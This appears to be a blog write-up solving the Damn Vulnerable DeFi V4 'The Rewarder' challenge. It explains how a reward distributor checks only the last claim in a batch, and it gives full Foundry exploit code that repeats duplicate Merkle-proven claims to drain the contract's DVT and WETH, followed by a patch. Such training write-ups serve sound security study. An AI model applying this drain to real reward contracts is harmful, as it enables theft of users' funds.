Damn Vulnerable DeFi V4 - 05 The Rewarder
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
A contract is distributing rewards of Damn Valuable Tokens and WETH.
To claim rewards, users must prove they’re included in the chosen set of beneficiaries. Don’t worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction.
Alice has claimed her rewards already. You can claim yours too! But you’ve realized there’s a critical vulnerability in the contract.
Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account.
Solve
The challenge contract code looks a bit complicated, if we don't look carefully, it’s hard to find the critical vulnerability.
Let’s get started with the easy one. The challenge description says the player
can claim rewards too.
The reward list is these two JSON files:
Each element represents which address can receive how many tokens.
// dvt-distribution.json
[
{
"address": "0x230abc2a7763e0169b38fbc7d48a5aa7b6245011",
"amount": 4665241241345036
},
{
"address": "0x81e46e5cbe296dfc5e9b2df97ec8f24a9a65bec2",
"amount": 9214418266997362
},
...
]
How many rewards that player
could claim? first, we are going to need to know player
's wallet address.
// forge test --match-path test/the-rewarder/TheRewarder.t.sol -vv
function test_theRewarder() public checkSolvedByPlayer {
console.log(player); // 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
}
Then we can find player
address 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
is listed in the distribution.json
.
[ // dvt-distrbution.json - index[188]
{
"address": "0x44E97aF4418b7a17AABD8090bEA0A471a366305C",
"amount": 11524763827831882
},
]
[ // weth-distrbution.json - index[188]
{
"address": "0x44E97aF4418b7a17AABD8090bEA0A471a366305C",
"amount": 1171088749244340
},
]
For claiming player
’s reward, we should construct a claimRewards(…)
function call like this:
// Define arguments
Claim[] memory inputClaims = new Claim[](2);
IERC20[] memory inputTokens = new IERC20[](2);
// Setting `inputClaims`
inputClaims[0] = Claim({
batchNumber: 0,
amount: 11524763827831882,
tokenIndex: 0, // dvt
proof: merkle.getProof(dvtLeaves, 188) // `player` address at index 188
});
inputClaims[1] = Claim({
batchNumber: 0,
amount: 1171088749244340,
tokenIndex: 1, // weth
proof: merkle.getProof(dvtLeaves, 188) // `player` address at index 188
});
// Setting `inputTokens`
inputTokens[0] = IERC20(address(dvt));
inputTokens[1] = IERC20(address(weth));
// Claim rewards
distributor.claimRewards(inputClaims, inputTokens);
The batchNumber
is 0 because there’s only one distribution batch for each tokens.
The claimRewards(…)
function using two data structures to validate who has the right to claim.
Bitmap - For recording who claimed already.
Merkle Tree - For recording who has access permission to claim a reward.
I’m not going to explain how Merkle Tree works here (because the vulnerability is not in there).
Bitmap is a data structure particularly suitable for recording "check-in" operations, because it can save a lot of storage space used to record this type of data.
Imagine you have a movie theater that can accommodate 256 people at one time, and 1,000 people are queuing outside. How do you register these 1,000 people to enter?
Intuitively, you might use a mapping structure:
mapping(address => bool) // person => entered, queuing
But this is quite a waste of storage space because each address occupies a 256-bit slot to store 1 bit of data. If you only need to use 1 bit of data to record binary information, using Bitmap structure would be a better choice.
In the above example, there are a total of 1,000 people in the queuing line, but only 256 people can be seated at one time, right? We can separate these 1,000 people into different batches. In each batch, we only need to use a 256-bit data structure to record whether a people enter or not.
For example:
The person who holds ticket number 857 would be in batch 4.
857 / 256 + 1 = 4
The person who holds ticket number 257 would be in batch 2.
257 / 256 + 1 = 2
The person who holds ticket number 555 would be in batch 3.
555 / 256 + 1 = 3
Next, how do we know where these people are sitting in the theater?
The person who holds ticket number 857 would be in batch 4, seat 105.
857 % 256 = 105
The person who holds ticket number 257 would be in batch 2, seat 1.
257 % 256 = 1
The person who holds ticket number 555 would be in batch 3, seat 43.
555 % 256 = 43
Finally, how could we validate whether the specific batch’s seat has been taken? we just need to check if the specific bit position is 1 or 0.
Is the seat 6 has been taken?
<current seatmap status> & 00100000 If the result is equal to 00100000, yes, seat 6 has been taken.
I hope you can understand the example above, it’s basically how bitmap works. (If I use my native language, I can explain it more clearly…)
What’s the vulnerability in TheRewarderDistributor
contract?
The vulnerability is the claimRewards(…)
function only checks whether the last claim is claimed or not.
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
// for the last claim
// @audit vulnerable!!
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}
Basically, this allows us to claim our claims multiple times (with the same claim).
Origin claim: [DVT, WETH]
Abused claim: [DVT, DVT, DVT, DVT, DVT, WETH, WETH, WETH, WETH, WETH]
Full solution code:
function test_theRewarder() public checkSolvedByPlayer {
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
/**
* 計算需要重複 Reclaim 多少次才能滿足題目要求
* WETH reclaim 次數 = (distributor持有量) / (player單次可領取量)
* DVT reclaim 次數 = (distributor持有量) / (player單次可領取量)
*/
uint256 DVT_in_distributor = dvt.balanceOf(address(distributor));
uint256 WETH_in_distributor = weth.balanceOf(address(distributor));
uint256 player_claimable_DVT = 11524763827831882;
uint256 player_claimable_WETH = 1171088749244340;
uint256 total_reclaim_times_DVT = DVT_in_distributor / player_claimable_DVT;
uint256 total_reclaim_times_WETH = WETH_in_distributor / player_claimable_WETH;
uint256 total_reclaims_times = total_reclaim_times_DVT + total_reclaim_times_WETH;
console.log("[Before Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
console.log("[Before Attack] weth.balanceOf(distributor): ", WETH_in_distributor);
/**
* 建構 claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) 的參數
*/
IERC20[] memory inputTokens = new IERC20[](2);
inputTokens[0] = IERC20(address(dvt));
inputTokens[1] = IERC20(address(weth));
Claim[] memory inputClaims = new Claim[](total_reclaims_times);
for (uint256 i; i < total_reclaims_times; ++i) {
if(i < total_reclaim_times_DVT) {
inputClaims[i] = Claim({
batchNumber: 0,
amount: player_claimable_DVT,
tokenIndex: 0,
proof: merkle.getProof(dvtLeaves, 188) // Player's address is at index 188
});
} else {
inputClaims[i] = Claim({
batchNumber: 0,
amount: player_claimable_WETH,
tokenIndex: 1,
proof: merkle.getProof(wethLeaves, 188) // Player's address is at index 188
});
}
}
/**
* Run exploit
*/
distributor.claimRewards(inputClaims, inputTokens);
/**
* Check result
*/
DVT_in_distributor = dvt.balanceOf(address(distributor));
WETH_in_distributor = weth.balanceOf(address(distributor));
console.log("[After Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
console.log("[After Attack] weth.balanceOf(distributor): ", WETH_in_distributor);
if (DVT_in_distributor > 1e16) {
console.log("You shall not pass because to too much DVT in distributor"); // expect not show
}
if (WETH_in_distributor > 1e15) {
console.log("You shall not pass because to too much DVT in distributor"); // expect not show
}
/**
* Transfer to recovery
*/
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
Potential Patches
Make every claim check whether it has been claimed.
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
//@patch here
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣